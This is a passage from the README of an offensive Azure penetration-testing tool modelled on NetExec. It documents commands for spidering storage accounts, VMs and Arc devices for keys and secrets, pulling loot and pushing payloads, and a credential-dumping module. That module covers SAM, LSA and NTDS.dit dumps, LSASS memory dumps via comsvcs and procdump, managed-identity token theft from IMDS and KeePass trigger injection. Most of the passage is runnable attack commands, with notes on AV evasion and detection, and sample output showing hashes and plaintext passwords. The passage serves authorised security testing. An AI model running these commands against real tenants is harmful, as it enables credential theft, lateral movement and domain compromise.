1. **Azure Storage** (default) - Blob containers & Azure File Shares
2. **VM Shares** - Spider file systems on Azure VMs via `exec`
3. **Device Shares** - Spider file systems on Arc/MDE/Intune devices via `exec`

#### Storage Spider (Default)

```powershell
# Basic enumeration - list all accessible blobs and files
.\azx.ps1 spider

# Pattern filter - search for sensitive file types
.\azx.ps1 spider -Pattern "txt,docx,key,pem,pfx,config,xml,json,yml"

# Download matching files
.\azx.ps1 spider -Pattern "pem,pfx,key" -Download -OutputFolder "C:\Loot"

# Target specific storage account
.\azx.ps1 spider -StorageAccountTarget "mystorageaccount" -BlobsOnly

# Limit recursion depth and file size
.\azx.ps1 spider -Download -MaxFileSize 5 -Depth 5

# Export results
.\azx.ps1 spider -Pattern "config,env" -ExportPath spider-results.json
```

#### VM Spider (NEW)

Spider file systems on Azure VMs using VM Run Command:

```powershell
# Spider single VM
.\azx.ps1 spider -VMName "vm-web-01" -Pattern "key,pem,config"

# Spider all VMs with path filtering
.\azx.ps1 spider -AllVMs -Pattern "password,credential" -StartPath "C:\Users"

# Spider with exclusions and downloads
.\azx.ps1 spider -VMName "vm-01" -Download -ExcludePaths "Windows,Program Files"

# Spider all VMs in a resource group
.\azx.ps1 spider -AllVMs -ResourceGroup "Production-RG" -Pattern "pem,pfx"
```

#### Device Spider (NEW)

Spider file systems on Arc-enabled devices:

```powershell
# Spider single Arc device
.\azx.ps1 spider -DeviceName "arc-server-01" -Pattern "key,pem"

# Spider all Arc devices
.\azx.ps1 spider -AllDevices -StartPath "/etc" -Pattern "conf,key"

# Spider with downloads
.\azx.ps1 spider -DeviceName "arc-srv" -Download -MaxFileSize 5

# Combined spidering
.\azx.ps1 spider -AllVMs -AllDevices -Pattern "pem,pfx"
```

**Parameters**:
| Parameter | Default | Description |
|-----------|---------|-------------|
| `-Pattern` | (all files) | Comma-separated extensions/keywords to match (e.g., "txt,docx,key,pem") |
| `-Download` | $false | Enable file downloading |
| `-MaxFileSize` | 10 | Maximum file size in MB to download |
| `-OutputFolder` | `.\SpiderLoot` | Download destination folder |
| `-Depth` | 10 | Maximum recursion depth for directory traversal |
| `-BlobsOnly` | $false | Only spider blob containers (storage mode) |
| `-SharesOnly` | $false | Only spider Azure File Shares (storage mode) |
| `-StorageAccountTarget` | (all) | Target a specific storage account |
| `-ContainerTarget` | (all) | Target a specific container/share |
| `-VMName` | - | Target specific VM by name (VM spider) |
| `-AllVMs` | $false | Spider all VMs in scope (VM spider) |
| `-DeviceName` | - | Target specific Arc device by name (Device spider) |
| `-AllDevices` | $false | Spider all Arc devices in scope (Device spider) |
| `-StartPath` | C:\\ (Win) / / (Linux) | Starting directory for VM/Device spider |
| `-ExcludePaths` | - | Comma-separated paths to exclude from spider |
| `-StorageOnly` | $false | Only spider Azure Storage (skip VMs/Devices) |
| `-VMsOnly` | $false | Only spider VMs |
| `-DevicesOnly` | $false | Only spider Arc/MDE/Intune devices |

**File Risk Classification**:
| Risk Level | Color | File Types |
|------------|-------|------------|
| **CRITICAL** | Red | `.pem`, `.pfx`, `.p12`, `.key`, `.cer`, `*password*`, `*credential*`, `*secret*`, `.kdbx` |
| **HIGH** | Yellow | `.config`, `.conf`, `.ini`, `.xml`, `.json`, `.yaml`, `.yml`, `.env`, `*connection*` |
| **MEDIUM** | Cyan | `.docx`, `.xlsx`, `.pdf`, `.txt`, `.csv`, `.sql`, `.bak`, `.ps1`, `.sh` |
| **LOW** | Gray | All other files |

**RBAC Requirements**:
| Spider Mode | Required Permissions |
|-------------|---------------------|
| Storage | Reader + Storage Account Key Operator / Storage Blob Data Reader |
| VM (vmrun) | Reader + Virtual Machine Command Executor OR VM Contributor |
| Arc | Azure Connected Machine Resource Administrator |
| MDE | Machine.LiveResponse, Machine.Read.All |
| Intune | DeviceManagementManagedDevices.PrivilegedOperations.All |

**NetExec Comparison**:
```
# NetExec SMB Spider
nxc smb 192.168.1.0/24 -u user -p pass --spider

# AZexec Azure Storage Spider
.\azx.ps1 spider

# AZexec VM Spider
.\azx.ps1 spider -VMName vm-01

# NetExec spider_plus with downloads
nxc smb IP -M spider_plus -o DOWNLOAD_FLAG=True

# AZexec with downloads (storage)
.\azx.ps1 spider -Download -OutputFolder C:\Loot

# AZexec with downloads (VM)
.\azx.ps1 spider -VMName vm-01 -Download -OutputFolder C:\Loot
```

**Sample Output (Storage Spider)**:
```
[*] AZX - Azure Storage Spider
[*] Pattern Filter: txt,config,pem

[*] STORAGE ACCOUNT: mystorageaccount
    Resource Group: prod-rg | Public: No
    [*] Blob Containers: 3
        Container: config (Public: No)
        AZR    mystorageaccount     443    /config/app.config              [HIGH] [MATCH] Size: 4.5KB
        AZR    mystorageaccount     443    /config/creds/service.pem       [CRITICAL] [MATCH] Size: 1.2KB
    [*] File Shares: 2
        Share: backups
        AZR    mystorageaccount     443    /backups/db-backup.sql          [MEDIUM] [MATCH] Size: 45MB

[*] SPIDER SUMMARY
[*] Storage Accounts: 5 | Containers: 12 | File Shares: 8
[*] Total Files Scanned: 4,521 | Pattern Matches: 127
```

**Sample Output (VM Spider)**:
```
[*] AZX - VM File System Spider
[*] Pattern Filter: key,pem,config

[*] VM: vm-web-01
    Resource Group: prod-rg | OS: Windows
    [*] Enumerating file system...
    [+] Found 1,234 files
    AZR    vm-web-01            VM     C:\Users\admin\.ssh\id_rsa          [CRITICAL] [MATCH] Size: 1.6KB
    AZR    vm-web-01            VM     C:\inetpub\wwwroot\web.config        [HIGH] [MATCH] Size: 4.2KB

[*] VM SPIDER SUMMARY
[*] VMs Spidered: 3 | Total Files Scanned: 5,421
[*] Pattern Matches: 87 | Critical Files: 12
```

---

### File Transfer: `get-file` / `put-file`

The `get-file` and `put-file` commands are the **Azure equivalent of NetExec's `--get-file` and `--put-file` options**. They support file transfers to/from:

1. **Azure Storage** - Blob containers & Azure File Shares
2. **Azure VMs** - Via VM Run Command (base64 encoded)
3. **Arc Devices** - Via Connected Machine Run Command (base64 encoded)

#### Download Files (get-file)

```powershell
# Download from Azure VM
.\azx.ps1 get-file -VMName "vm-web-01" -RemotePath "C:\Users\admin\secret.txt" -LocalPath ".\loot\secret.txt"

# Download from Arc device
.\azx.ps1 get-file -DeviceName "arc-server-01" -RemotePath "/etc/shadow" -LocalPath ".\shadow"

# Download from Blob Storage
.\azx.ps1 get-file -StorageAccountTarget "mystorageacct" -ContainerTarget "data" -RemotePath "secrets/creds.txt" -LocalPath ".\loot\creds.txt"

# Download from File Share
.\azx.ps1 get-file -StorageAccountTarget "mystorageacct" -ContainerTarget "fileshare" -RemotePath "configs/app.config" -LocalPath ".\app.config"
```

#### Upload Files (put-file)

```powershell
# Upload to Azure VM
.\azx.ps1 put-file -VMName "vm-web-01" -LocalPath ".\payload.ps1" -RemotePath "C:\Windows\Temp\payload.ps1"

# Upload to Arc device
.\azx.ps1 put-file -DeviceName "arc-server-01" -LocalPath ".\script.sh" -RemotePath "/tmp/script.sh"

# Upload to Blob Storage
.\azx.ps1 put-file -StorageAccountTarget "mystorageacct" -ContainerTarget "uploads" -LocalPath ".\data.txt" -RemotePath "folder/data.txt"

# Upload to File Share
.\azx.ps1 put-file -StorageAccountTarget "mystorageacct" -ContainerTarget "fileshare" -LocalPath ".\config.xml" -RemotePath "configs/config.xml"
```

**NetExec Comparison**:

```bash
# NetExec SMB file transfer
nxc smb 192.168.1.10 -u user -p pass --get-file '\\C$\Users\admin\secret.txt' '/tmp/secret.txt'
nxc smb 192.168.1.10 -u user -p pass --put-file '/tmp/payload.exe' '\\C$\Windows\Temp\payload.exe'

# AZexec Azure file transfer
.\azx.ps1 get-file -VMName vm-01 -RemotePath "C:\Users\admin\secret.txt" -LocalPath ".\secret.txt"
.\azx.ps1 put-file -VMName vm-01 -LocalPath ".\payload.exe" -RemotePath "C:\Windows\Temp\payload.exe"
```

**Parameters**:
| Parameter | Required | Description |
|-----------|----------|-------------|
| `-LocalPath` | Yes | Local file path (source for put-file, destination for get-file) |
| `-RemotePath` | Yes | Remote file path on target |
| `-VMName` | No* | Target Azure VM by name |
| `-DeviceName` | No* | Target Arc-enabled device by name |
| `-StorageAccountTarget` | No* | Target storage account name |
| `-ContainerTarget` | No | Target container/share name (required with StorageAccountTarget) |
| `-MaxFileSize` | No | Maximum file size in MB for VM/Device downloads (default: 10) |

*One target parameter required: `-VMName`, `-DeviceName`, or `-StorageAccountTarget`

**RBAC Requirements**:
| Transfer Target | Required Permissions |
|-----------------|---------------------|
| Blob Storage (read) | Storage Blob Data Reader |
| Blob Storage (write) | Storage Blob Data Contributor |
| File Shares (read) | Storage File Data SMB Share Reader |
| File Shares (write) | Storage File Data SMB Share Contributor |
| Azure VMs | Reader + Virtual Machine Command Executor (or VM Contributor) |
| Arc Devices | Azure Connected Machine Resource Administrator |

**Limitations**:
- VM/Device transfers use base64 encoding via Run Command, limited to ~500KB files
- For larger files, use Azure Storage as an intermediary
- Storage transfers have no practical size limit

**Sample Output**:
```
[*] AZX - Azure File Transfer
[*] Command: put-file (Azure equivalent of nxc smb --put-file)

[*] Uploading: .\payload.ps1 -> C:\Windows\Temp\payload.ps1
[*] Local file size: 1.2KB

[*] Target: Azure VM (vm-web-01)
AZR    vm-web-01            VM     PUT    C:\Windows\Temp\payload.ps1    [+] SUCCESS    Size: 1.2KB

[*] TRANSFER SUMMARY
[*] Files Transferred: 1 | Total Size: 1.2KB | Errors: 0
```

---

## 🔐 Credential Extraction - NetExec --sam/--lsa/--ntds Equivalent

For penetration testers familiar with NetExec's credential dumping capabilities (`--sam`, `--lsa`, `--ntds`, `-M lsassy`, `-M backup_operator`, `--sccm`, `-M wam`, `-M wifi`, `-M putty`, `-M winscp`, `-M vnc`, `-M mremoteng`, `-M veeam`, `-M keepass_discover`, `-M keepass_trigger`, `-M rdcman`, `-M eventlog_creds`, `-M notepad`, `-M notepad++`), AZexec provides the **Azure cloud equivalent** through the `creds` command. This command extracts credentials from Azure VMs, Arc-enabled devices, MDE-enrolled devices, and Intune-managed devices using 21 extraction techniques.

### Supported Device Types

| Device Type | Execution Method | Sync/Async | Output | Use Case |
|-------------|------------------|------------|--------|----------|
| **Azure VMs** | VM Run Command (`vmrun`) | Sync | Direct | Azure native VMs |
| **Arc Devices** | Arc Run Command (`arc`) | Sync | Direct | On-premises/hybrid servers |
| **MDE Devices** | Live Response (`mde`) | Async (polling) | Via download link | MDE-enrolled endpoints |
| **Intune Devices** | Proactive Remediation (`intune`) | Async only | Portal only | Intune-managed devices |

### Extraction Methods

| Method | NetExec Equivalent | Description | Target OS | Risk Level |
|--------|--------------------|-------------|-----------|------------|
| **sam** | `nxc smb --sam` | SAM/SYSTEM/SECURITY registry hive extraction | Windows | HIGH - triggers MDE alerts |
| **tokens** | *Azure-specific* | Managed Identity JWT tokens from IMDS (169.254.169.254) | Windows/Linux | MEDIUM - Azure-specific |
| **dpapi** | *Azure-specific* | DPAPI secrets (WiFi PSK, Credential Manager, browser paths) | Windows | MEDIUM |
| **lsa** | `nxc smb --lsa` | LSA secrets (service passwords, cached domain creds, machine account hash, DPAPI backup key) | Windows | HIGH |
| **ntds** | `nxc smb --ntds [vss]` | NTDS.dit Active Directory database dump (VSS/ntdsutil/DCSync) | Windows (DC only) | CRITICAL |
| **lsass** | `nxc smb -M lsassy` | LSASS process memory dump (comsvcs/procdump/nanodump/direct) | Windows | CRITICAL - highest detection risk |
| **backup** | `nxc smb -M backup_operator` | SeBackupPrivilege extraction (robocopy /B for hives + optional NTDS) | Windows | HIGH |
| **sccm** | `nxc smb --sccm` | SCCM cache, GPP cpasswords, Intune scripts, IIS configs | Windows | MEDIUM |
| **wam** | `nxc smb -M wam` | Windows Account Manager tokens (TokenBroker, AAD Broker Plugin JWTs) | Windows | MEDIUM |
| **wifi** | `nxc smb -M wifi` | WiFi saved passwords via `netsh wlan show profile key=clear` | Windows | LOW |
| **putty** | `nxc smb -M putty` | PuTTY saved sessions from registry (host, user, proxy creds) | Windows | LOW |
| **winscp** | `nxc smb -M winscp` | WinSCP stored credentials with XOR decryption (magic 0xA3) | Windows | LOW |
| **vnc** | `nxc smb -M vnc` | VNC passwords from registry/INI with DES ECB decryption (fixed key) | Windows | LOW |
| **mremoteng** | `nxc smb -M mremoteng` | mRemoteNG connections from confCons.xml with AES-GCM decryption | Windows | LOW |
| **veeam** | `nxc smb -M veeam` | Veeam Backup credentials from SQL database with DPAPI decryption | Windows | MEDIUM |
| **keepass_discover** | `nxc smb -M keepass_discover` | KeePass installation discovery (.kdbx, config, running processes) | Windows | LOW |
| **keepass_trigger** | `nxc smb -M keepass_trigger` | KeePass trigger injection to export database on next open | Windows | HIGH |
| **rdcman** | `nxc smb -M rdcman` | RDCMan connections from .rdg files (reports DPAPI-encrypted blobs) | Windows | LOW |
| **eventlog_creds** | `nxc smb -M eventlog_creds` | Credentials from event logs (Security 4688, Sysmon 1) via regex | Windows | MEDIUM |
| **notepad** | `nxc smb -M notepad` | Notepad tab state binary files (string recovery from .bin) | Windows | LOW |
| **notepadpp** | `nxc smb -M notepad++` | Notepad++ backup files and recent session files | Windows | LOW |
| **all** | All of the above | All extraction methods (21 total) | Windows/Linux | CRITICAL |
| **auto** | *Conservative* | Only sam + tokens + dpapi (original behavior) | Windows/Linux | HIGH |

### NetExec to AZexec Comparison

| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb <target> --sam` | `.\azx.ps1 creds -VMName "vm-01"` | Extract SAM hashes from single target |
| `nxc smb <targets> --sam` | `.\azx.ps1 creds -AllVMs -CredMethod sam` | Extract SAM from all VMs |
| `nxc smb <target> --lsa` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod lsa` | Extract LSA secrets |
| `nxc smb <target> --ntds` | `.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds` | Dump NTDS.dit via VSS |
| `nxc smb <target> --ntds vss` | `.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -NTDSMethod vss` | NTDS via VSS shadow copy |
| `nxc smb <target> --ntds --enabled` | `.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -EnabledOnly` | NTDS enabled accounts only |
| `nxc smb <target> --ntds --user X` | `.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -TargetDomainUser X` | NTDS specific user |
| `nxc smb <target> -M lsassy` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass` | LSASS memory dump |
| `nxc smb <target> -M nanodump` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass -LsassMethod nanodump` | LSASS via nanodump |
| `nxc smb <target> -M backup_operator` | `.\azx.ps1 creds -VMName "dc-01" -CredMethod backup` | Backup Operator extraction |
| `nxc smb <target> --sccm` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod sccm` | SCCM/GPP/Intune secrets |
| `nxc smb <target> --sccm disk` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod sccm -SCCMMethod disk` | SCCM disk search |
| `nxc smb <target> -M wam` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod wam` | WAM Token Broker extraction |
| `nxc smb <target> -M wifi` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod wifi` | WiFi password extraction |
| `nxc smb <target> -M putty` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod putty` | PuTTY session extraction |
| `nxc smb <target> -M winscp` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod winscp` | WinSCP credential extraction |
| `nxc smb <target> -M vnc` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod vnc` | VNC password decryption |
| `nxc smb <target> -M mremoteng` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod mremoteng` | mRemoteNG connection extraction |
| `nxc smb <target> -M veeam` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod veeam` | Veeam credential extraction |
| `nxc smb <target> -M keepass_discover` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_discover` | KeePass discovery |
| `nxc smb <target> -M keepass_trigger` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_trigger` | KeePass trigger exploit |
| `nxc smb <target> -M rdcman` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod rdcman` | RDCMan connection extraction |
| `nxc smb <target> -M eventlog_creds` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod eventlog_creds` | Event log credential extraction |
| `nxc smb <target> -M notepad` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod notepad` | Notepad tab state recovery |
| `nxc smb <target> -M notepad++` | `.\azx.ps1 creds -VMName "vm-01" -CredMethod notepadpp` | Notepad++ backup extraction |
| *N/A (Azure-specific)* | `.\azx.ps1 creds -VMName "vm-01" -CredMethod tokens` | Extract Managed Identity tokens |
| *N/A (Azure-specific)* | `.\azx.ps1 creds -VMName "vm-01" -CredMethod dpapi` | Extract DPAPI secrets |
| *N/A* | `.\azx.ps1 creds -DeviceName "device" -ExecMethod mde` | Extract via MDE Live Response |
| *N/A* | `.\azx.ps1 creds -DeviceName "device" -ExecMethod intune` | Extract via Intune Remediation |

### Quick Start Examples

```powershell
# SAM extraction (NetExec --sam equivalent)
.\azx.ps1 creds -VMName "vm-web-01"
.\azx.ps1 creds -VMName "vm-web-01" -CredMethod sam
.\azx.ps1 creds -AllVMs -ResourceGroup "Production-RG"

# LSA secrets (NetExec --lsa equivalent)
.\azx.ps1 creds -VMName "dc-01" -CredMethod lsa
.\azx.ps1 creds -AllVMs -CredMethod lsa -ExportPath lsa.json

# NTDS.dit dump (NetExec --ntds equivalent) - Domain Controllers only
.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds                          # VSS method (default)
.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -NTDSMethod ntdsutil     # ntdsutil IFM method
.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -NTDSMethod drsuapi      # DCSync via DSInternals
.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -EnabledOnly              # Only enabled accounts
.\azx.ps1 creds -VMName "dc-01" -CredMethod ntds -TargetDomainUser admin   # Specific user only

# LSASS memory dump (NetExec -M lsassy equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass                         # comsvcs.dll (default)
.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass -LsassMethod procdump   # Via procdump
.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass -LsassMethod nanodump   # Via nanodump
.\azx.ps1 creds -VMName "vm-01" -CredMethod lsass -LsassMethod direct     # P/Invoke MiniDumpWriteDump

# Backup Operator (NetExec -M backup_operator equivalent)
.\azx.ps1 creds -VMName "dc-01" -CredMethod backup

# SCCM/Intune secrets (NetExec --sccm equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod sccm                          # Filesystem search (default)
.\azx.ps1 creds -VMName "vm-01" -CredMethod sccm -SCCMMethod api          # Graph API enumeration

# WAM Token Broker (NetExec -M wam equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod wam
.\azx.ps1 creds -AllVMs -CredMethod wam -ExportPath wam.json

# WiFi passwords (NetExec -M wifi equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod wifi

# Application credentials (NetExec -M putty/winscp/vnc/mremoteng equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod putty                          # PuTTY saved sessions
.\azx.ps1 creds -VMName "vm-01" -CredMethod winscp                         # WinSCP (XOR decrypt)
.\azx.ps1 creds -VMName "vm-01" -CredMethod vnc                            # VNC (DES decrypt)
.\azx.ps1 creds -VMName "vm-01" -CredMethod mremoteng                      # mRemoteNG (AES-GCM)
.\azx.ps1 creds -VMName "vm-01" -CredMethod veeam                          # Veeam (SQL + DPAPI)

# KeePass (NetExec -M keepass_discover/keepass_trigger equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_discover               # Find KeePass installs
.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_trigger                # Full trigger cycle
.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_trigger -KeePassAction add     # Inject trigger only
.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_trigger -KeePassAction poll    # Poll for export
.\azx.ps1 creds -VMName "vm-01" -CredMethod keepass_trigger -KeePassAction clean   # Clean up

# Forensic extraction (NetExec -M notepad/rdcman/eventlog_creds equivalent)
.\azx.ps1 creds -VMName "vm-01" -CredMethod notepad                        # Notepad tab state
.\azx.ps1 creds -VMName "vm-01" -CredMethod notepadpp                      # Notepad++ backups
.\azx.ps1 creds -VMName "vm-01" -CredMethod rdcman                         # RDCMan .rdg files
.\azx.ps1 creds -VMName "vm-01" -CredMethod eventlog_creds                 # Event log credentials

# Managed Identity token extraction (Azure-specific)
.\azx.ps1 creds -VMName "vm-web-01" -CredMethod tokens
.\azx.ps1 creds -AllVMs -CredMethod tokens

# DPAPI secrets (browser creds, credential manager, WiFi)
.\azx.ps1 creds -VMName "vm-web-01" -CredMethod dpapi

# All extraction methods (including new methods)
.\azx.ps1 creds -VMName "vm-web-01" -CredMethod all

# Arc devices
.\azx.ps1 creds -DeviceName "arc-server-01"
.\azx.ps1 creds -AllDevices -CredMethod sam

# MDE devices (async with polling)
.\azx.ps1 creds -DeviceName "mde-device-01" -ExecMethod mde -CredMethod tokens
.\azx.ps1 creds -DeviceName "mde-endpoint" -ExecMethod mde -CredMethod sam

# Intune devices (async, output in portal only)
.\azx.ps1 creds -DeviceName "intune-device-01" -ExecMethod intune -CredMethod sam

# Auto-detection (tries Arc, then MDE, then Intune)
.\azx.ps1 creds -DeviceName "some-device" -CredMethod sam

# Export for cracking
.\azx.ps1 creds -VMName "vm-01" -HashcatFormat -ExportPath hashes.txt
.\azx.ps1 creds -AllVMs -ExportPath results.json
```

> **Note**: `auto` mode runs only the conservative methods (sam + tokens + dpapi). New methods (lsa, ntds, lsass, backup, sccm, wam) must be explicitly selected. Use `-CredMethod all` to run everything.

### Execution Method Selection (`-ExecMethod`)

| Value | Description |
|-------|-------------|
| **auto** (default) | Auto-detects device type and uses appropriate method |
| **vmrun** | Force Azure VM Run Command |
| **arc** | Force Arc Run Command |
| **mde** | Force MDE Live Response (requires Machine.LiveResponse permission) |
| **intune** | Force Intune Proactive Remediation (async, portal output only) |

> ⚠️ **Intune Limitation**: Intune Proactive Remediation is async-only. Output is not returned directly and is only visible in the Intune portal. This makes Intune less useful for credential extraction where you need immediate output. Use MDE for better results when both are available.

### OPSEC Considerations

> ⚠️ **WARNING**: Credential extraction triggers security alerts!

The `creds` command will display method-specific OPSEC warnings before execution:

| Method | Detection Risk | Key Indicators |
|--------|---------------|----------------|
| **sam** | HIGH | Event ID 4656/4663 (SAM key access), Event ID 4688 (reg.exe), MDE credential dump alert |
| **lsa** | HIGH | Event ID 4656/4663 (SECURITY hive), MDE "Suspicious registry hive export" |
| **ntds** | CRITICAL | Event ID 8222 (shadow copy), ntdsutil alerts, MDE "AD database dump" |
| **lsass** | CRITICAL | Event ID 10 (Sysmon LSASS access), MDE "Suspicious LSASS access" (HIGH), Credential Guard blocks |
| **backup** | HIGH | Event ID 4672 (SeBackupPrivilege), robocopy /B execution |
| **sccm** | MEDIUM | Event ID 4663 (SYSVOL GPP access), filesystem scanning behavioral alerts |
| **wam** | MEDIUM | Event ID 4663 (TokenBroker cache access), AAD Broker Plugin data access |
| **tokens** | MEDIUM | IMDS queries (169.254.169.254), Azure-specific logging |
| **dpapi** | MEDIUM | cmdkey enumeration, netsh wlan profile queries |

### External Tool Requirements

| Tool | Used By | Purpose | Install |
|------|---------|---------|---------|
| **secretsdump.py** (Impacket) | sam, lsa, ntds, backup | Parse registry hives and NTDS.dit offline | `pip install impacket` |
| **pypykatz** | lsass | Parse LSASS memory dumps offline | `pip install pypykatz` |
| **DSInternals** | ntds (drsuapi) | DCSync via PowerShell on target DC | `Install-Module DSInternals` (on target) |

> All methods gracefully degrade when external tools are unavailable — hives/dumps are extracted and saved locally with instructions for offline parsing.

### Sample Output

```
[*] AZX - Credential Extraction
[*] Command: creds (Azure equivalent of nxc smb --sam/--lsa/--ntds)

[*] Target: vm-web-01 (Windows Server 2022)
AZR    vm-web-01            443    Windows     (SAM_DUMP)
AZR    vm-web-01            443    Windows     Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
AZR    vm-web-01            443    Windows     Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
AZR    vm-web-01            443    Windows     svc_backup:1001:aad3b435b51404ee:e52cac67419a6a9a42f8b3674a46f48b:::
AZR    vm-web-01            443    Windows     (LSA_DUMP)
AZR    vm-web-01            443    Windows     LSA Secret: _SC_svc_sql -> P@ssw0rd123!
AZR    vm-web-01            443    Windows     DCC2: CORP\admin:$DCC2$10240#admin#a1b2c3d4...
AZR    vm-web-01            443    Windows     Machine Account: CORP\VM-WEB-01$:aad3b435b51404ee:5a6b7c8d...
AZR    vm-web-01            443    Windows     (TOKEN_DUMP)
AZR    vm-web-01            443    Windows     MI Token: management.azure.com (expires: 3600s)
AZR    vm-web-01            443    Windows     MI Token: graph.microsoft.com (expires: 3600s)
AZR    vm-web-01            443    Windows     (DPAPI_DUMP)
AZR    vm-web-01            443    Windows     WiFi: CorpWiFi -> [PLAINTEXT] SecretKey123
AZR    vm-web-01            443    Windows     CredMan: Domain:target=server01 -> user@domain.com
AZR    vm-web-01            443    Windows     Browser: Chrome Login Data found (extract offline)
AZR    vm-web-01            443    Windows     (SCCM_DUMP)
AZR    vm-web-01            443    Windows     GPP cpassword: \\SYSVOL\Groups.xml -> svc_deploy:D3pl0yP@ss
AZR    vm-web-01            443    Windows     IIS Config: applicationHost.config -> svc_web:WebP@ss123
AZR    vm-web-01            443    Windows     (WAM_DUMP)
AZR    vm-web-01            443    Windows     WAM Token: user@contoso.com -> graph.microsoft.com (exp: 2025-01-15 14:30:00 UTC)
AZR    vm-web-01            443    Windows     WAM Token: admin@contoso.com -> management.azure.com (exp: 2025-01-15 15:00:00 UTC)

[*] Target: dc-01 (Windows Server 2022)
AZR    dc-01                443    Windows     (NTDS_DUMP)
AZR    dc-01                443    Windows     Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
AZR    dc-01                443    Windows     krbtgt:502:aad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:::
AZR    dc-01                443    Windows     Total hashes: 1247

### Technical Details

#### SAM Extraction Workflow
1. PowerShell script deployed via:
   - **VM Run Command** (vmrun) - Azure VMs
   - **Arc Run Command** (arc) - Arc-enabled servers
   - **MDE Live Response** (mde) - MDE-enrolled devices (async with polling)
   - **Intune Proactive Remediation** (intune) - Intune-managed devices (async, portal output)
2. Registry hives exported using `reg.exe save` (better AV evasion)
3. Hives base64-encoded for transfer via command output
4. Hives decoded locally and parsed:
   - **Primary**: `secretsdump.py` (Impacket) if available
   - **Fallback**: Manual bootkey extraction and SAM decryption

#### Token Extraction Workflow
1. Query Azure Instance Metadata Service (IMDS) at `169.254.169.254`
2. Request tokens for multiple Azure resources:
   - `management.azure.com` (Azure Resource Manager)
   - `graph.microsoft.com` (Microsoft Graph)
   - `vault.azure.net` (Key Vault)
   - `storage.azure.com` (Storage)
3. Return JWT tokens with expiration times

#### DPAPI Extraction Workflow
1. **Credential Manager**: Parse `cmdkey /list` output
2. **WiFi Profiles**: Extract PSKs via `netsh wlan show profile key=clear`
3. **Browser Credentials**: Identify Login Data paths for offline extraction

#### LSA Secrets Extraction Workflow
1. Export SYSTEM + SECURITY registry hives via `reg.exe save`
2. Base64-encode hives for transfer
3. Decode locally and parse with `secretsdump.py -security SECURITY -system SYSTEM LOCAL`
4. Extract: LSA secrets (service account passwords), cached domain credentials (DCC2), machine account NTLM hash, DPAPI backup key

#### NTDS.dit Dump Workflow
1. **DC Detection**: Check for running NTDS service (non-DC targets get clear error)
2. **VSS method** (default): Create Volume Shadow Copy, copy `ntds.dit` + SYSTEM from shadow path
3. **ntdsutil method**: Run `ntdsutil "activate instance ntds" "ifm" "create full <path>"`
4. **drsuapi method**: Use DSInternals `Get-ADReplAccount -All` for inline DCSync
5. Large files staged for transfer via `Receive-VMFile` / `Receive-DeviceFile`
6. Parse locally with `secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL`

#### LSASS Memory Dump Workflow
1. Get LSASS process PID
2. **comsvcs** (default): `rundll32.exe comsvcs.dll, MiniDump <PID> <path> full`
3. **procdump**: `procdump.exe -accepteula -ma lsass.exe <path>`
4. **nanodump**: `nanodump.exe --write <path>`
5. **direct**: P/Invoke `MiniDumpWriteDump` from `dbghelp.dll`
6. Dump staged for transfer via `Receive-VMFile` (up to 200MB)
7. Parse locally with `pypykatz lsa minidump <path>` (extracts MSV, WDigest, Kerberos)

#### Backup Operator Workflow
1. Check `SeBackupPrivilege` via `whoami /priv`
2. Use `robocopy /B` (backup semantics) to copy SAM/SYSTEM/SECURITY
3. If target is a DC, also stage NTDS.dit via backup semantics
4. Base64-encode hives for transfer, parse with secretsdump

#### SCCM/Intune Extraction Workflow
1. **Disk method**: Search filesystem for:
   - GPP cpassword files in SYSVOL (Groups.xml, Services.xml, etc.) — decrypts using Microsoft's published AES key
   - SCCM client cache (`C:\Windows\ccmcache`) scripts/configs with embedded credentials
   - Intune Management Extension deployed scripts with hardcoded secrets
   - IIS `applicationHost.config` with processModel/virtualDirectory credentials
2. **API method**: Enumerate Intune configuration profiles via Microsoft Graph API

#### WAM Token Broker Workflow
1. Enumerate all user profiles via ProfileList registry key
2. For each user, search:
   - TokenBroker cache (`.tbres`, `.tbacct`) in `%LOCALAPPDATA%\Microsoft\TokenBroker\Cache\`
   - AAD Broker Plugin tokens in `%LOCALAPPDATA%\Packages\Microsoft.AAD.BrokerPlugin_*\AC\TokenBroker\Accounts\`
   - IdentityCache for JWT patterns
